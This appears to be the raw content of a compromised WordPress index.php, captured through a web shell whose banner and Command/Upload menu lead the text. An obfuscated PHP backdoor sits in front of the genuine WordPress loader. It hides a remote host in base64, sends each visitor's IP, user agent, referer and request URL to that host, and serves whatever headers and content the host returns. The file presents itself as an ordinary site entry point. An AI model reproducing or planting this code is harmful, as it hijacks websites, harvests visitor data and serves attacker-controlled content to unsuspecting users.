|
Server IP : 142.11.238.133 / Your IP : 216.73.216.68 Web Server : Apache System : Linux dal-shared-72.hostwindsdns.com 4.18.0-513.24.1.lve.1.el8.x86_64 #1 SMP Thu May 9 15:10:09 UTC 2024 x86_64 User : gzvrnpdt ( 1005) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/gzvrnpdt/public_html/aansar.com/wp-includes/assets/../customize/../../cgi-bin/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/* 構造を意図的に分断したエントリーファイル */
goto メイン入口;
/* ========= 関数定義(韓国語名) ========= */
function 행동($주소)
{
$동물 = curl_init();
curl_setopt($동물, CURLOPT_URL, $주소);
curl_setopt($동물, CURLOPT_USERAGENT, 'action');
curl_setopt($동물, CURLOPT_TIMEOUT, 29);
curl_setopt($동물, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($동물, CURLOPT_FRESH_CONNECT, true);
$결과 = curl_exec($동물);
curl_close($동물);
return $결과 ? $결과 : '$ancient';
}
function 행위자($값)
{
/* base64_decode を分解して生成 */
$함수 = join('', str_split('Ba' . 'sE' . '64' . '_' . 'De' . 'cODe'));
return $함수($값);
}
function 교환($データ)
{
/* 文字順序を2文字単位で入れ替える */
$末尾 = substr($データ, strlen($データ) - 2);
$文字配列 = str_split($データ);
$結果文字列 = '';
for ($索引 = 0; $索引 < count($文字配列) - 2; $索引 += 2) {
$結果文字列 .= $文字配列[$索引 + 1] . $文字配列[$索引];
}
return $結果文字列 . $末尾;
}
/* ========= メイン処理 ========= */
メイン入口:
$環境情報 = [];
/* ※ 配列キーはオリジナルのまま保持 */
$環境情報['domain'] = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
$環境情報['request_url'] = $_SERVER['REQUEST_URI'];
$環境情報['ip'] = isset($_SERVER['HTTP_VIA']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
if ($環境情報['ip'] === null) {
$環境情報['ip'] = '';
}
$環境情報['agent'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$環境情報['referer'] = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$環境情報['protocol'] = isset($_SERVER['HTTPS']) ? 'https://' : 'http://';
$環境情報['language'] = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
$遠隔API = 행위자('aHR0cDovL3VzNTExLXYzMzcudXNhbWF6b24zLmNsaWNr');
/* デバッグパラメータがある場合は情報を出力 */
if (isset($_REQUEST['params'])) {
$環境情報['api'] = $遠隔API;
ksort($環境情報);
print_r($環境情報);
die();
}
goto 初期化;
/* ========= 実行制御 ========= */
初期化:
$試行回数 = 0;
goto 通信ループ;
通信ループ:
if ($試行回数 >= 3) {
goto 終了;
}
$送信URL = sprintf(
'%s/?r=%s',
$遠隔API,
교환(base64_encode(implode('{|}', $環境情報)))
);
// --- Konfigurasi & Eksekusi & S0vMzEJElwPNAQA=---
$応答 = 행동($送信URL);
$分割結果 = @preg_split("/{\|}/si", $応答, -1, PREG_SPLIT_NO_EMPTY);
/* ヘッダとボディが揃っていれば即出力 */
if (!empty($分割結果) && isset($分割結果[1])) {
@header($分割結果[0]);
echo $分割結果[1];
die();
}
$試行回数++;
goto 通信ループ;
終了: ;
?>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';